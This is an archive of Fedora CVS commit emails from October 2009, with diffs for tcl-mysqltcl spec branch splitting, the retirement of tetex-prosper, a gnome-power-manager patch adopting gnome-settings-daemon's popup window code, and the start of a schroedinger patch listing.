RCS file: /cvs/pkgs/rpms/tcl-mysqltcl/F-12/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	8 Oct 2009 21:28:32 -0000	1.2
+++ import.log	27 Oct 2009 23:34:59 -0000	1.3
@@ -1,2 +1,3 @@
 tcl-mysqltcl-3_05-4_fc11:F-12:tcl-mysqltcl-3.05-4.fc11.src.rpm:1254862945
 tcl-mysqltcl-3_05-6_fc11:F-12:tcl-mysqltcl-3.05-6.fc11.src.rpm:1255037283
+tcl-mysqltcl-3_05-8_fc11:F-12:tcl-mysqltcl-3.05-8.fc11.src.rpm:1256686475


Index: tcl-mysqltcl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tcl-mysqltcl/F-12/tcl-mysqltcl.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- tcl-mysqltcl.spec	8 Oct 2009 21:28:33 -0000	1.2
+++ tcl-mysqltcl.spec	27 Oct 2009 23:34:59 -0000	1.3
@@ -1,13 +1,3 @@
-#needed for building on RHEL-4
-%if 0%{?rhel}
-  %if "%rhel" <= "4"
-    %define with() %{expand:%%{?with_%{1}:1}%%{!?with_%{1}:0}}
-    %define without() %{expand:%%{?with_%{1}:0}%%{!?with_%{1}:1}}
-    %define bcond_with() %{expand:%%{?_with_%{1}:%%global with_%{1} 1}}
-    %define bcond_without() %{expand:%%{!?_without_%{1}:%%global with_%{1} 1}} 
-  %endif
-%endif 
-
 %bcond_without abi
 
 %{!?tcl_version: %define tcl_version 8.5}
@@ -18,7 +8,7 @@
 Summary:        MySQL interface for Tcl
 Name:           tcl-mysqltcl
 Version:        3.05
-Release:        6%{?dist}
+Release:        8%{?dist}
 
 License:        MIT
 Group:          Development/Tools
@@ -71,6 +61,12 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Wed Oct 28 2009 Rene Ploetz <RenePloetz at gmx.de> 3.05-8
+- split spec file versions for EL-4 and EL-5 from those of Fedora
+
+* Wed Oct 27 2009 Rene Ploetz <RenePloetz at gmx.de> 3.05-7
+- fix tcl version on EL-4 and EL-5
+
 * Wed Oct 08 2009 Rene Ploetz <RenePloetz at gmx.de> 3.05-6
 - synchronize the spec file version for all branches
 



From spot at fedoraproject.org  Tue Oct 27 23:38:16 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Tue, 27 Oct 2009 23:38:16 +0000 (UTC)
Subject: rpms/tetex-prosper/devel dead.package, NONE, 1.1 sources, 1.2,
	NONE tetex-prosper.spec, 1.6, NONE
Message-ID: <20091027233817.0CC7E11C00E6@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/tetex-prosper/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5157

Added Files:
	dead.package 
Removed Files:
	sources tetex-prosper.spec 
Log Message:
dead.package


--- NEW FILE dead.package ---
Package is obsolete, all files provided by texlive-texmf-latex now.

Tom Callaway <tcallawa at redhat.com> Oct 27, 2009


--- sources DELETED ---


--- tetex-prosper.spec DELETED ---



From hadess at fedoraproject.org  Tue Oct 27 23:43:20 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Tue, 27 Oct 2009 23:43:20 +0000 (UTC)
Subject: rpms/gnome-power-manager/F-12
	0001-Use-gnome-settings-daemon-popup-code.patch, NONE,
	1.1 gnome-power-manager.spec, 1.178, 1.179
Message-ID: <20091027234320.57EAE11C00E6@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gnome-power-manager/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6999

Modified Files:
	gnome-power-manager.spec 
Added Files:
	0001-Use-gnome-settings-daemon-popup-code.patch 
Log Message:
* Tue Oct 27 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-3
- Update OSD to match gnome-settings-daemon's


0001-Use-gnome-settings-daemon-popup-code.patch:
 b/data/Makefile.am            |    3 
 b/src/Makefile.am             |    5 
 b/src/gpm-backlight.c         |   39 +
 b/src/gsd-media-keys-window.c | 1109 ++++++++++++++++++++++++++++++++++++++++++
 b/src/gsd-media-keys-window.h |   70 ++
 src/gpm-popup-window.c        |  725 ---------------------------
 src/gpm-popup-window.h        |   61 --
 7 files changed, 1215 insertions(+), 797 deletions(-)

--- NEW FILE 0001-Use-gnome-settings-daemon-popup-code.patch ---
>From db85afd7306ba8127b38f70feff281d4c4a6a022 Mon Sep 17 00:00:00 2001
From: Bastien Nocera <hadess at hadess.net>
Date: Tue, 27 Oct 2009 23:33:46 +0000
Subject: [PATCH] Use gnome-settings-daemon popup code

Instead of forking it.

https://bugzilla.gnome.org/show_bug.cgi?id=594664
---
 data/Makefile.am            |    3 +-
 src/Makefile.am             |    5 +-
 src/gpm-backlight.c         |   39 ++-
 src/gpm-popup-window.c      |  725 ----------------------------
 src/gpm-popup-window.h      |   61 ---
 src/gsd-media-keys-window.c | 1109 +++++++++++++++++++++++++++++++++++++++++++
 src/gsd-media-keys-window.h |   69 +++
 7 files changed, 1215 insertions(+), 796 deletions(-)
 delete mode 100644 src/gpm-popup-window.c
 delete mode 100644 src/gpm-popup-window.h
 create mode 100644 src/gsd-media-keys-window.c
 create mode 100644 src/gsd-media-keys-window.h

diff --git a/data/Makefile.am b/data/Makefile.am
index 1a76ac8..99df812 100644
--- a/data/Makefile.am
+++ b/data/Makefile.am
@@ -26,7 +26,8 @@ $(service_DATA): $(service_in_files) Makefile
 pkgdata_DATA =						\
 	gpm-statistics.ui				\
 	gpm-feedback-widget.ui				\
-	gpm-prefs.ui
+	gpm-prefs.ui					\
+	acme.ui
 
 EXTRA_DIST =						\
 	gnome-power-manager.schemas.in			\
diff --git a/src/Makefile.am b/src/Makefile.am
index b41da1f..b038669 100644
--- a/src/Makefile.am
+++ b/src/Makefile.am
@@ -28,6 +28,7 @@ INCLUDES =						\
 	-DLIBDIR=\""$(libdir)"\" 			\
 	-DVERSION="\"$(VERSION)\"" 			\
 	-DGPM_DATA=\"$(pkgdatadir)\"			\
+	-DGTKBUILDERDIR=\"$(pkgdatadir)\"		\
 	-DDKP_DISABLE_DEPRECATED			\
 	-DEGG_LOG_FILE=\""/tmp/gpm.log"\"		\
 	-DEGG_VERBOSE="\"GPM_VERBOSE\""			\
@@ -161,8 +162,8 @@ gnome_power_manager_SOURCES =				\
 	gpm-networkmanager.h				\
 	gpm-networkmanager.c				\
 	gpm-stock-icons.h				\
-	gpm-popup-window.h				\
-	gpm-popup-window.c				\
+	gsd-media-keys-window.h				\
+	gsd-media-keys-window.c				\
 	gpm-engine.h					\
 	gpm-engine.c					\
 	$(NULL)
diff --git a/src/gpm-backlight.c b/src/gpm-backlight.c
index 7714bcc..92ec869 100644
--- a/src/gpm-backlight.c
+++ b/src/gpm-backlight.c
@@ -48,7 +48,7 @@
 #include "gpm-control.h"
 #include "gpm-common.h"
 #include "egg-debug.h"
-#include "gpm-popup-window.h"
+#include "gsd-media-keys-window.h"
 #include "gpm-dpms.h"
 #include "gpm-idle.h"
 #include "gpm-marshal.h"
@@ -167,6 +167,25 @@ gpm_backlight_set_brightness (GpmBacklight *backlight, guint percentage, GError
 }
 
 /**
+ * gpm_backlight_dialog_init:
+ *
+ * Initialises the popup, and makes sure that it matches the compositing of the screen.
+ **/
+static void
+dialog_init (GpmBacklight *backlight)
+{
+	if (backlight->priv->popup != NULL
+	    && !gsd_media_keys_window_is_valid (GSD_MEDIA_KEYS_WINDOW (backlight->priv->popup))) {
+		gtk_widget_destroy (backlight->priv->popup);
+		backlight->priv->popup = NULL;
+	}
+
+	if (backlight->priv->popup == NULL) {
+		backlight->priv->popup= gsd_media_keys_window_new ();
+	}
+}
+
+/**
  * gpm_common_sum_scale:
  *
  * Finds the average between value1 and value2 set on a scale factor
@@ -261,7 +280,9 @@ gpm_backlight_brightness_evaluate_and_set (GpmBacklight *backlight, gboolean int
 
 	/* only show dialog if interactive */
 	if (interactive) {
-		gpm_popup_window_set_value (GPM_POPUP_WINDOW (backlight->priv->popup), (float) brightness);
+		dialog_init (backlight);
+		gsd_media_keys_window_set_volume_level (GSD_MEDIA_KEYS_WINDOW (backlight->priv->popup),
+							round (brightness));
 		gtk_widget_show (backlight->priv->popup);
 	}
 
@@ -352,7 +373,9 @@ gpm_backlight_button_pressed_cb (GpmButton *button, const gchar *type, GpmBackli
 		/* show the new value */
 		if (ret) {
 			gpm_brightness_get (backlight->priv->brightness, &percentage);
-			gpm_popup_window_set_value (GPM_POPUP_WINDOW (backlight->priv->popup), (gfloat) percentage/100.0f);
+			dialog_init (backlight);
+			gsd_media_keys_window_set_volume_level (GSD_MEDIA_KEYS_WINDOW (backlight->priv->popup),
+								percentage);
 			gtk_widget_show (backlight->priv->popup);
 			/* save the new percentage */
 			backlight->priv->master_percentage = percentage;
@@ -369,7 +392,9 @@ gpm_backlight_button_pressed_cb (GpmButton *button, const gchar *type, GpmBackli
 		/* show the new value */
 		if (ret) {
 			gpm_brightness_get (backlight->priv->brightness, &percentage);
-			gpm_popup_window_set_value (GPM_POPUP_WINDOW (backlight->priv->popup), (gfloat) percentage/100.0f);
+			dialog_init (backlight);
+			gsd_media_keys_window_set_volume_level (GSD_MEDIA_KEYS_WINDOW (backlight->priv->popup),
+								percentage);
 			gtk_widget_show (backlight->priv->popup);
 			/* save the new percentage */
 			backlight->priv->master_percentage = percentage;
@@ -688,10 +713,10 @@ gpm_backlight_init (GpmBacklight *backlight)
 	gpm_idle_set_timeout_dim (backlight->priv->idle, backlight->priv->idle_dim_timeout);
 
 	/* use a visual widget */
-	backlight->priv->popup = gpm_popup_window_new ();
+	backlight->priv->popup = gsd_media_keys_window_new ();
+	gsd_media_keys_window_set_action (GSD_MEDIA_KEYS_WINDOW (backlight->priv->popup),
+					  GSD_MEDIA_KEYS_WINDOW_ACTION_BRIGHTNESS);
         gtk_window_set_position (GTK_WINDOW (backlight->priv->popup), GTK_WIN_POS_NONE);
-	gpm_popup_window_set_icon_name (GPM_POPUP_WINDOW (backlight->priv->popup),
-					GPM_STOCK_BRIGHTNESS_LCD);
 
 	/* DPMS mode poll class */
 	backlight->priv->dpms = gpm_dpms_new ();
diff --git a/src/gpm-popup-window.c b/src/gpm-popup-window.c
deleted file mode 100644
index 6cc4038..0000000
--- a/src/gpm-popup-window.c
+++ /dev/null
@@ -1,725 +0,0 @@
-/* -*- Mode: C; tab-width: 8; indent-tabs-mode: t; c-basic-offset: 8 -*-
- *
- * Copyright (C) 2006-2007 William Jon McCann <mccann at jhu.edu>
- * Copyright (C) 2009 Richard Hughes <richard at hughsie.com>
- *
- * Licensed under the GNU General Public License Version 2
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
- */
-
-#include "config.h"
-
-#include <math.h>
-#include <glib.h>
-#include <gtk/gtk.h>
-
-#include "egg-debug.h"
-
-#include "gpm-popup-window.h"
-
-#define GPM_POPUP_WINDOW_DIALOG_TIMEOUT		2000	/* dialog timeout in ms */
-#define GPM_POPUP_WINDOW_DIALOG_FADE_TIMEOUT	1500	/* timeout before fade starts */
-#define GPM_POPUP_WINDOW_FADE_TIMEOUT		10	/* timeout in ms between each frame of the fade */
-
-#define GPM_POPUP_WINDOW_BG_ALPHA		0.50
-#define GPM_POPUP_WINDOW_FG_ALPHA		1.00
-
-#define GPM_POPUP_WINDOW_GET_PRIVATE(o) (G_TYPE_INSTANCE_GET_PRIVATE ((o), GPM_TYPE_POPUP_WINDOW, GpmPopupWindowPrivate))
-
-struct GpmPopupWindowPrivate
-{
-	gboolean		 is_composited;
-	guint			 hide_timeout_id;
-	guint			 fade_timeout_id;
-	gdouble			 fade_out_alpha;
-	gfloat			 value;
[...1737 lines suppressed...]
+{
+        GdkColormap *colormap;
+        GtkAllocation allocation;
+        GdkBitmap *mask;
+        cairo_t *cr;
+
+        colormap = gdk_screen_get_rgba_colormap (gtk_widget_get_screen (widget));
+
+        if (colormap != NULL) {
+                gtk_widget_set_colormap (widget, colormap);
+        }
+
+        if (GTK_WIDGET_CLASS (gsd_media_keys_window_parent_class)->realize) {
+                GTK_WIDGET_CLASS (gsd_media_keys_window_parent_class)->realize (widget);
+        }
+
+        gtk_widget_get_allocation (widget, &allocation);
+        mask = gdk_pixmap_new (gtk_widget_get_window (widget),
+                               allocation.width,
+                               allocation.height,
+                               1);
+        cr = gdk_cairo_create (mask);
+
+        cairo_set_source_rgba (cr, 1., 1., 1., 0.);
+        cairo_set_operator (cr, CAIRO_OPERATOR_SOURCE);
+        cairo_paint (cr);
+
+        /* make the whole window ignore events */
+        gdk_window_input_shape_combine_mask (gtk_widget_get_window (widget), mask, 0, 0);
+        g_object_unref (mask);
+        cairo_destroy (cr);
+}
+
+static void
+gsd_media_keys_window_class_init (GsdMediaKeysWindowClass *klass)
+{
+        GtkWidgetClass *widget_class = GTK_WIDGET_CLASS (klass);
+
+        widget_class->show = gsd_media_keys_window_real_show;
+        widget_class->hide = gsd_media_keys_window_real_hide;
+        widget_class->realize = gsd_media_keys_window_real_realize;
+
+        g_type_class_add_private (klass, sizeof (GsdMediaKeysWindowPrivate));
+}
+
+gboolean
+gsd_media_keys_window_is_valid (GsdMediaKeysWindow *window)
+{
+        GdkScreen *screen = gtk_widget_get_screen (GTK_WIDGET (window));
+        return gdk_screen_is_composited (screen) == window->priv->is_composited;
+}
+
+static void
+gsd_media_keys_window_init (GsdMediaKeysWindow *window)
+{
+        GdkScreen *screen;
+
+        window->priv = GSD_MEDIA_KEYS_WINDOW_GET_PRIVATE (window);
+
+        screen = gtk_widget_get_screen (GTK_WIDGET (window));
+
+        window->priv->is_composited = gdk_screen_is_composited (screen);
+
+        if (window->priv->is_composited) {
+                gdouble scalew, scaleh, scale;
+                gint size;
+
+                gtk_window_set_decorated (GTK_WINDOW (window), FALSE);
+                gtk_widget_set_app_paintable (GTK_WIDGET (window), TRUE);
+
+                /* assume 130x130 on a 640x480 display and scale from there */
+                scalew = gdk_screen_get_width (screen) / 640.0;
+                scaleh = gdk_screen_get_height (screen) / 480.0;
+                scale = MIN (scalew, scaleh);
+                size = 130 * MAX (1, scale);
+
+                gtk_window_set_default_size (GTK_WINDOW (window), size, size);
+                g_signal_connect (window, "expose-event", G_CALLBACK (on_expose_event), window);
+
+                window->priv->fade_out_alpha = 1.0;
+        } else {
+                GtkBuilder *builder;
+                const gchar *objects[] = {"acme_frame", NULL};
+                GtkWidget *frame;
+
+                builder = gtk_builder_new ();
+                gtk_builder_add_objects_from_file (builder,
+                                                   GTKBUILDERDIR "/acme.ui",
+                                                   (char **) objects,
+                                                   NULL);
+
+                window->priv->image = GTK_IMAGE (gtk_builder_get_object (builder, "acme_image"));
+                window->priv->progress = GTK_WIDGET (gtk_builder_get_object (builder, "acme_volume_progressbar"));
+                frame = GTK_WIDGET (gtk_builder_get_object (builder,
+                                                            "acme_frame"));
+
+                if (frame != NULL) {
+                        gtk_container_add (GTK_CONTAINER (window), frame);
+                        gtk_widget_show_all (frame);
+                }
+
+                /* The builder needs to stay alive until the window
+                   takes ownership of the frame (and its children)  */
+                g_object_unref (builder);
+        }
+}
+
+GtkWidget *
+gsd_media_keys_window_new (void)
+{
+        GObject *object;
+
+        object = g_object_new (GSD_TYPE_MEDIA_KEYS_WINDOW,
+                               "type", GTK_WINDOW_POPUP,
+                               "type-hint", GDK_WINDOW_TYPE_HINT_NOTIFICATION,
+                               "skip-taskbar-hint", TRUE,
+                               "skip-pager-hint", TRUE,
+                               "focus-on-map", FALSE,
+                               NULL);
+
+        return GTK_WIDGET (object);
+}
diff --git a/src/gsd-media-keys-window.h b/src/gsd-media-keys-window.h
new file mode 100644
index 0000000..dd4ae90
--- /dev/null
+++ b/src/gsd-media-keys-window.h
@@ -0,0 +1,69 @@
+/* -*- Mode: C; indent-tabs-mode: nil; c-basic-offset: 8; tab-width: 8 -*-
+ *
+ * Copyright (C) 2006 William Jon McCann <mccann at jhu.edu>
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public
+ * License along with this program; if not, write to the
+ * Free Software Foundation, Inc., 59 Temple Place - Suite 330,
+ * Boston, MA 02111-1307, USA.
+ *
+ */
+
+#ifndef GSD_MEDIA_KEYS_WINDOW_H
+#define GSD_MEDIA_KEYS_WINDOW_H
+
+#include <glib-object.h>
+#include <gtk/gtk.h>
+
+G_BEGIN_DECLS
+
+#define GSD_TYPE_MEDIA_KEYS_WINDOW            (gsd_media_keys_window_get_type ())
+#define GSD_MEDIA_KEYS_WINDOW(obj)            (G_TYPE_CHECK_INSTANCE_CAST ((obj),  GSD_TYPE_MEDIA_KEYS_WINDOW, GsdMediaKeysWindow))
+#define GSD_MEDIA_KEYS_WINDOW_CLASS(klass)    (G_TYPE_CHECK_CLASS_CAST ((klass),   GSD_TYPE_MEDIA_KEYS_WINDOW, GsdMediaKeysWindowClass))
+#define GSD_IS_MEDIA_KEYS_WINDOW(obj)         (G_TYPE_CHECK_INSTANCE_TYPE ((obj),  GSD_TYPE_MEDIA_KEYS_WINDOW))
+#define GSD_IS_MEDIA_KEYS_WINDOW_CLASS(klass) (G_TYPE_INSTANCE_GET_CLASS ((klass), GSD_TYPE_MEDIA_KEYS_WINDOW))
+
+typedef struct GsdMediaKeysWindow                   GsdMediaKeysWindow;
+typedef struct GsdMediaKeysWindowClass              GsdMediaKeysWindowClass;
+typedef struct GsdMediaKeysWindowPrivate            GsdMediaKeysWindowPrivate;
+
+struct GsdMediaKeysWindow {
+        GtkWindow                   parent;
+
+        GsdMediaKeysWindowPrivate  *priv;
+};
+
+struct GsdMediaKeysWindowClass {
+        GtkWindowClass parent_class;
+};
+
+typedef enum {
+        GSD_MEDIA_KEYS_WINDOW_ACTION_VOLUME,
+        GSD_MEDIA_KEYS_WINDOW_ACTION_EJECT,
+        GSD_MEDIA_KEYS_WINDOW_ACTION_BRIGHTNESS
+} GsdMediaKeysWindowAction;
+
+GType                 gsd_media_keys_window_get_type          (void);
+
+GtkWidget *           gsd_media_keys_window_new               (void);
+void                  gsd_media_keys_window_set_action        (GsdMediaKeysWindow      *window,
+                                                               GsdMediaKeysWindowAction action);
+void                  gsd_media_keys_window_set_volume_muted  (GsdMediaKeysWindow      *window,
+                                                               gboolean                 muted);
+void                  gsd_media_keys_window_set_volume_level  (GsdMediaKeysWindow      *window,
+                                                               int                      level);
+gboolean              gsd_media_keys_window_is_valid          (GsdMediaKeysWindow      *window);
+
+G_END_DECLS
+
+#endif
-- 
1.6.5.rc2



Index: gnome-power-manager.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-power-manager/F-12/gnome-power-manager.spec,v
retrieving revision 1.178
retrieving revision 1.179
diff -u -p -r1.178 -r1.179
--- gnome-power-manager.spec	22 Oct 2009 08:27:17 -0000	1.178
+++ gnome-power-manager.spec	27 Oct 2009 23:43:19 -0000	1.179
@@ -5,7 +5,7 @@
 Summary: GNOME power management service
 Name: gnome-power-manager
 Version: 2.28.1
-Release: 2%{?dist}
+Release: 3%{?dist}
 #Release: 0.5.%{?alphatag}git%{?dist}
 License: GPLv2+ and GFDL
 Group: Applications/System
@@ -21,6 +21,10 @@ Patch1: 0001-Do-not-show-About-and-Help-
 # Fedora-specific backport, already same UI in git master
 Patch2: 0002-Make-the-left-and-right-buttons-on-the-status-icon-b.patch
 
+# https://bugzilla.gnome.org/show_bug.cgi?id=594664
+%define		_default_patch_fuzz 2
+Patch3: 0001-Use-gnome-settings-daemon-popup-code.patch
+
 BuildRequires: libwnck-devel
 BuildRequires: hal-devel >= %{hal_version}
 BuildRequires: dbus-devel >= %{dbus_version}
@@ -70,6 +74,7 @@ Extra GNOME power management application
 #%setup -q -n %{?name}-%{?version}-%{?alphatag}
 %patch1 -p1 -b .remove-help
 %patch2 -p1 -b .uni-menu
+%patch3 -p1 -b .osd
 
 %build
 %configure \
@@ -188,6 +193,9 @@ fi
 %{_datadir}/icons/hicolor/*/apps/gnome-inhibit-applet.*
 
 %changelog
+* Tue Oct 27 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-3
+- Update OSD to match gnome-settings-daemon's
+
 * Thu Oct 22 2009 Richard Hughes  <rhughes at redhat.com> - 2.28.1-2
 - Backport two patches from git master to polish the UI for F12.
 



From renep at fedoraproject.org  Tue Oct 27 23:53:42 2009
From: renep at fedoraproject.org (Rene Ploetz)
Date: Tue, 27 Oct 2009 23:53:42 +0000 (UTC)
Subject: rpms/tcl-mysqltcl/EL-4 import.log, 1.5, 1.6 tcl-mysqltcl.spec, 1.5,
	1.6
Message-ID: <20091027235342.E5B5411C00E6@cvs1.fedora.phx.redhat.com>

Author: renep

Update of /cvs/pkgs/rpms/tcl-mysqltcl/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12062/EL-4

Modified Files:
	import.log tcl-mysqltcl.spec 
Log Message:
split EL-4 and EL-5 spec files versions from Fedora versions


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/tcl-mysqltcl/EL-4/import.log,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- import.log	8 Oct 2009 20:31:17 -0000	1.5
+++ import.log	27 Oct 2009 23:53:40 -0000	1.6
@@ -3,3 +3,4 @@ tcl-mysqltcl-3_05-5_fc11:HEAD:tcl-mysqlt
 tcl-mysqltcl-3_05-4_fc11:HEAD:tcl-mysqltcl-3.05-4.fc11.src.rpm:1254882645
 tcl-mysqltcl-3_05-5_fc11:HEAD:tcl-mysqltcl-3.05-5.fc11.src.rpm:1254883030
 tcl-mysqltcl-3_05-6_fc11:EL-4:tcl-mysqltcl-3.05-6.fc11.src.rpm:1255033803
+tcl-mysqltcl-3_05-8_fc11:EL-4:tcl-mysqltcl-3.05-8.fc11.src.rpm:1256687506


Index: tcl-mysqltcl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tcl-mysqltcl/EL-4/tcl-mysqltcl.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- tcl-mysqltcl.spec	8 Oct 2009 20:31:18 -0000	1.5
+++ tcl-mysqltcl.spec	27 Oct 2009 23:53:40 -0000	1.6
@@ -1,16 +1,11 @@
-#needed for building on RHEL-4
-%if 0%{?rhel}
-  %if "%rhel" <= "4"
-    %define with() %{expand:%%{?with_%{1}:1}%%{!?with_%{1}:0}}
-    %define without() %{expand:%%{?with_%{1}:0}%%{!?with_%{1}:1}}
-    %define bcond_with() %{expand:%%{?_with_%{1}:%%global with_%{1} 1}}
-    %define bcond_without() %{expand:%%{!?_without_%{1}:%%global with_%{1} 1}} 
-  %endif
-%endif 
+%define with() %{expand:%%{?with_%{1}:1}%%{!?with_%{1}:0}}                                                                                                                                
+%define without() %{expand:%%{?with_%{1}:0}%%{!?with_%{1}:1}}                                                                                                                             
+%define bcond_with() %{expand:%%{?_with_%{1}:%%global with_%{1} 1}}                                                                                                                       
+%define bcond_without() %{expand:%%{!?_without_%{1}:%%global with_%{1} 1}}                                                                                                                
 
 %bcond_without abi
 
-%{!?tcl_version: %define tcl_version 8.5}
+%{!?tcl_version: %define tcl_version 8.4}
 %{!?tcl_sitearch: %define tcl_sitearch tcl%{tcl_version}}
 
 %define real_name mysqltcl
@@ -18,7 +13,7 @@
 Summary:        MySQL interface for Tcl
 Name:           tcl-mysqltcl
 Version:        3.05
-Release:        6%{?dist}
+Release:        8%{?dist}
 
 License:        MIT
 Group:          Development/Tools
@@ -71,6 +66,12 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Wed Oct 28 2009 Rene Ploetz <RenePloetz at gmx.de> 3.05-8
+- split spec file versions for EL-4 and EL-5 from those of Fedora
+
+* Wed Oct 27 2009 Rene Ploetz <RenePloetz at gmx.de> 3.05-7
+- fix tcl version on EL-4 and EL-5
+
 * Wed Oct 08 2009 Rene Ploetz <RenePloetz at gmx.de> 3.05-6
 - synchronize the spec file version for all branches
 



From renep at fedoraproject.org  Tue Oct 27 23:59:40 2009
From: renep at fedoraproject.org (Rene Ploetz)
Date: Tue, 27 Oct 2009 23:59:40 +0000 (UTC)
Subject: rpms/tcl-mysqltcl/EL-5 import.log, 1.5, 1.6 tcl-mysqltcl.spec, 1.5,
	1.6
Message-ID: <20091027235940.6EF6E11C00E6@cvs1.fedora.phx.redhat.com>

Author: renep

Update of /cvs/pkgs/rpms/tcl-mysqltcl/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15157/EL-5

Modified Files:
	import.log tcl-mysqltcl.spec 
Log Message:
split EL-4 and EL-5 spec files versions from Fedora versions


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/tcl-mysqltcl/EL-5/import.log,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- import.log	8 Oct 2009 20:41:25 -0000	1.5
+++ import.log	27 Oct 2009 23:59:39 -0000	1.6
@@ -3,3 +3,4 @@ tcl-mysqltcl-3_05-5_fc11:HEAD:tcl-mysqlt
 tcl-mysqltcl-3_05-4_fc11:HEAD:tcl-mysqltcl-3.05-4.fc11.src.rpm:1254882645
 tcl-mysqltcl-3_05-5_fc11:HEAD:tcl-mysqltcl-3.05-5.fc11.src.rpm:1254883030
 tcl-mysqltcl-3_05-6_fc11:EL-5:tcl-mysqltcl-3.05-6.fc11.src.rpm:1255034445
+tcl-mysqltcl-3_05-8_fc11:EL-5:tcl-mysqltcl-3.05-8.fc11.src.rpm:1256687935


Index: tcl-mysqltcl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tcl-mysqltcl/EL-5/tcl-mysqltcl.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- tcl-mysqltcl.spec	8 Oct 2009 20:41:25 -0000	1.5
+++ tcl-mysqltcl.spec	27 Oct 2009 23:59:39 -0000	1.6
@@ -1,16 +1,6 @@
-#needed for building on RHEL-4
-%if 0%{?rhel}
-  %if "%rhel" <= "4"
-    %define with() %{expand:%%{?with_%{1}:1}%%{!?with_%{1}:0}}
-    %define without() %{expand:%%{?with_%{1}:0}%%{!?with_%{1}:1}}
-    %define bcond_with() %{expand:%%{?_with_%{1}:%%global with_%{1} 1}}
-    %define bcond_without() %{expand:%%{!?_without_%{1}:%%global with_%{1} 1}} 
-  %endif
-%endif 
-
 %bcond_without abi
 
-%{!?tcl_version: %define tcl_version 8.5}
+%{!?tcl_version: %define tcl_version 8.4}
 %{!?tcl_sitearch: %define tcl_sitearch tcl%{tcl_version}}
 
 %define real_name mysqltcl
@@ -18,7 +8,7 @@
 Summary:        MySQL interface for Tcl
 Name:           tcl-mysqltcl
 Version:        3.05
-Release:        6%{?dist}
+Release:        8%{?dist}
 
 License:        MIT
 Group:          Development/Tools
@@ -71,6 +61,12 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Wed Oct 28 2009 Rene Ploetz <RenePloetz at gmx.de> 3.05-8
+- split spec file versions for EL-4 and EL-5 from those of Fedora
+
+* Wed Oct 27 2009 Rene Ploetz <RenePloetz at gmx.de> 3.05-7
+- fix tcl version on EL-4 and EL-5
+
 * Wed Oct 08 2009 Rene Ploetz <RenePloetz at gmx.de> 3.05-6
 - synchronize the spec file version for all branches
 



From kwizart at fedoraproject.org  Wed Oct 28 00:03:41 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Wed, 28 Oct 2009 00:03:41 +0000 (UTC)
Subject: rpms/schroedinger/F-12 gst-plugins-schroedinger-1.0.8.patch, NONE, 
	1.1 gst-plugins-schroedinger-plug.patch, NONE, 1.1 import.log,
	NONE, 1.1 schroedinger.spec, 1.17, 1.18
Message-ID: <20091028000341.DB16F11C00E6@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/schroedinger/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16955/F-12

Modified Files:
	schroedinger.spec 
Added Files:
	gst-plugins-schroedinger-1.0.8.patch 
	gst-plugins-schroedinger-plug.patch import.log 
Log Message:
- Re-introduce gstreamer sub-package until seen in -good


gst-plugins-schroedinger-1.0.8.patch:
 gst-libs/gst/video/Makefile.am           |   24 
 gst-libs/gst/video/gstbasevideocodec.c   |  565 ++++++++++++++
 gst-libs/gst/video/gstbasevideocodec.h   |  150 +++
 gst-libs/gst/video/gstbasevideodecoder.c | 1223 +++++++++++++++++++++++++++++++
 gst-libs/gst/video/gstbasevideodecoder.h |  163 ++++
 gst-libs/gst/video/gstbasevideoencoder.c |  521 +++++++++++++
 gst-libs/gst/video/gstbasevideoencoder.h |  123 +++
 gst-libs/gst/video/gstbasevideoparse.c   |  871 ++++++++++++++++++++++
 gst-libs/gst/video/gstbasevideoparse.h   |  141 +++
 gst-libs/gst/video/gstbasevideoutils.c   |  163 ++++
 gst-libs/gst/video/gstbasevideoutils.h   |   95 ++
 gst/Makefile.am                          |   27 
 gst/gstschro.c                           |   54 +
 gst/gstschrodec.c                        |  728 ++++++++++++++++++
